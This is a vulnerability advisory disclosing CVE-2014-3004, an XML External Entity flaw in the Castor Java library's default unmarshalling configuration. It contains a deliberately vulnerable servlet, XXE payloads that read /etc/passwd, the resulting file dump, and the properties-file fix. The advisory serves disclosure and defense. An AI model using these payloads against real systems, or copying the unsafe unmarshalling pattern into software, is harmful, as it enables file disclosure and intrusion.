Castor Library Default Configuration could lead to XML External Entity
(XXE) Attack
Vulnerability Type: Local or Remote File Disclosure
Reporter: Ron Gutierrez (rgutierrez@gdssecurity.com) and Adam Bixby (
abixby@gdssecurity.com)
Company: Gotham Digital Science (gdslabs@gdssecurity.com)
Affected Software:  Caster 1.3.3-RC1 Library and earlier
CVE-Reference - CVE-2014-3004
Severity: High

===========================================================
Summary
===========================================================
The Castor library is an Open Source data-binding framework for Java
applications.  One of its most useful functions are to provide for easy
implementations of Java-to-XML binding.  The library’s unmarshalling class,
however, is susceptible to XML External Entity (XXE) attacks.  If the XML
that is being passed to the unmarshalling function is controllable by an
end user, there is the potential that they could retrieve local resources,
download malicious code from other servers, and/or open arbitrary TCP
connections.  For more information on XXE, please see

https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing

===========================================================
Technical Details
===========================================================
The Castor library’s unmarshalling functionality, if used with default
settings, does not prevent the referencing of external entities or doctype
declarations, opening up any application that utilizes this functionality
to an XXE attack.  Under the hood, the Castor library is using the Xerces
SAX Parser, which needs to be configured securely in order to prevent these
types of attacks.  Castor does not have these secure settings turned on in
the default configuration file and does not make reference to them anywhere
in their documentation.

XXE attacks come about due to the way in which XML parsers in general
handle XML documents containing external entities.  When an XML parser
encounters a DOCTYPE declaring an external entity, it expands all instances
of the entity with the contents of the URI reference that is being defined.
 For example, consider an XML document such as the following:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE gds [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

<gds>&xxe;</gds>

When the XML parser encounters "&xxe;” it will embed the contents of
"/etc/passwd", which may then be returned in the server’s response,
typically in an exception message.

When you utilize the Castor library, the castor.properties file contains
references to attributes that can be added to your SAX Parser
configuration, however, it does not enable any of these hardening
references out of the box.  Unless the developer is acutely aware that they
need to add these hardening references to their configuration, their
application will be potentially vulnerable.


===========================================================
Proof-of-Concept Code and Exploit
===========================================================
Now let’s look at how Castor handles unmarshalling calls to show how an
application could be vulnerable:

In this simple class, we create Person object:
..snip..

public class Person implements java.io.Serializable {

/** The name of the person */
   private String name = null;

   /** The Date of birth */
   private Date dob = null;

   /** Creates a Person with no name */
   public Person() {
      super();
   }

   /** Creates a Person with the given name */
   public Person(String name) { this.name = name; }

..snip..

Next, we generate a class that takes in external XML data to convert the
XML document to a Person Object using the unmarshalling function:

public static Person deserializePersonWithStatic(String xmlInput)
{
    StringReader xmlReader = new StringReader(xmlInput);

    Person aPerson = null;
     try
      {
          aPerson = (Person) Unmarshaller.unmarshal(Person.class,
xmlReader);
      }
          catch (Exception e)
      {
          System.out.println("Failed to unmarshal the xml");
          e.printStackTrace();
    }

          return aPerson;
}


If our application took in the XML data from a user controllable location
and passed it through this unmarshalling function, the end user could use
this functionality to view local resources on the application’s hosting
server.  For example, look at the following Servlet that takes in XML data
from the Request:

public class GeneratePerson extends HttpServlet {

     public void doPost(HttpServletRequest req, HttpServletResponse res)
                              throws ServletException, IOException
          {
               String evilPersonXML = req.getParameter(“person”);

          Person anotherPerson = deserializePersonWithStatic(evilPersonXML);

          if(anotherPerson == null)
          {
                  System.out.println("No Person Object set");
          }
          else
          {
                  System.out.println("XXE Person name: " +
anotherPerson.getName());
          }

What would happen if we passed the following string into the “person”
request parameter value?:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!DOCTYPE doc [
<!ENTITY x3 SYSTEM "file:///etc/passwd"> ]
><person><name>&x3;</name></person>

The output would be the following:
XXE Person name: ##
# User Database
#
# Note that this file is consulted directly only when the system is running
# in single-user mode.  At other times this information is provided by
# Open Directory.
#
# See the opendirectoryd(8) man page for additional information about
# Open Directory.
##
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
..snip..

As you can see, the unmarshalling function allowed external entities to be
referenced and therefore the contents of the server’s /etc/passwd file was
set within the “name” variable of the deserialized Person object.

===========================================================
Recommendation
===========================================================
Upgrade to Castor version 1.3.3 which now disables external entities by
default.

Alternatively, the manual fix for this issue is actually very simple.  The
main Castor configuration file (castor.properties) can be used to specify
which XML features should be enable/disabled.  In order to prevent the
parser from reading external entities , the external-general-entities and
the external-parameter-entities should be disable.  Additionally, the
disallow-doctype-decl option should be turned on.  The following is what
the entry in the caster.properties file should look like:

# Comma separated list of SAX 2 features that should be enabled
# for the default parser.
#
org.exolab.castor.sax.features=\
  http://apache.org/xml/features/disallow-doctype-decl

# Comma separated list of SAX 2 features that should be disabled
# for the default parser.
#
org.exolab.castor.sax.features-to-disable=\
  http://xml.org/sax/features/external-general-entities,\
  http://xml.org/sax/features/external-parameter-entities,\
  http://apache.org/xml/features/nonvalidating/load-external-dtd


===========================================================
About Gotham Digital Science
===========================================================
Gotham Digital Science (GDS) is a specialist security consulting company
focused on helping our clients find, fix, and prevent security bugs in
mission critical network infrastructure, web-based software applications,
mobile apps and embedded systems. GDS is also committed to contributing to
the security and developer communities through sharing knowledge and
resources such as blog posts, security tool releases, vulnerability
disclosures, and sponsoring and presenting at various industry conferences.
For more information on GDS, please contact info@gdssecurity.com or visit
http://www.gdssecurity.com.

-- 

*Ron Gutierrez*
Gotham Digital Science
125 Maiden Lane Third Floor – New York, NY 10038
[Office] 212.514.8318 x6 [Mobile] 718-213-0525 [Fax] 646.349.3911
[Blog] http://blog.gdssecurity.com

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